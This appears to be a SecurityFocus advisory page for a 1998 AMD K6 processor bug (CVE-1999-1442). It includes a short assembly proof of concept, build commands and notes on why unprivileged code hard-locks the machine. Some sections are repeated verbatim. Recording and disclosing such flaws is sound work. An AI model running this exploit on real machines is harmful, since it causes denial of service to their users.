AMD K6 Processor Vulnerability
BID:105
Info
AMD K6 Processor Vulnerability
| Bugtraq ID: | 105 |
| Class: | Unknown |
| CVE: |
CVE-1999-1442 |
| Remote: | No |
| Local: | No |
| Published: | Jun 01 1998 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | This vulnerability was published by Benoit Poulot-Cazajous <[email protected]> in the linux-kernel mailing list on June 01, 1998. |
| Vulnerable: |
AMD K6 |
| Not Vulnerable: | |
Discussion
AMD K6 Processor Vulnerability
A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.
Under Linux 2.1.x a bug stops this vulnerability.
A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.
Under Linux 2.1.x a bug stops this vulnerability.
Exploit / POC
AMD K6 Processor Vulnerability
$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>
Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).
Speculations :
S1) edi must be loaded with the address of something in a deep cache on the
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.
$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>
Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).
Speculations :
S1) edi must be loaded with the address of something in a deep cache on the
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.
Solution / Fix
AMD K6 Processor Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
AMD K6 Processor Vulnerability
References:
References: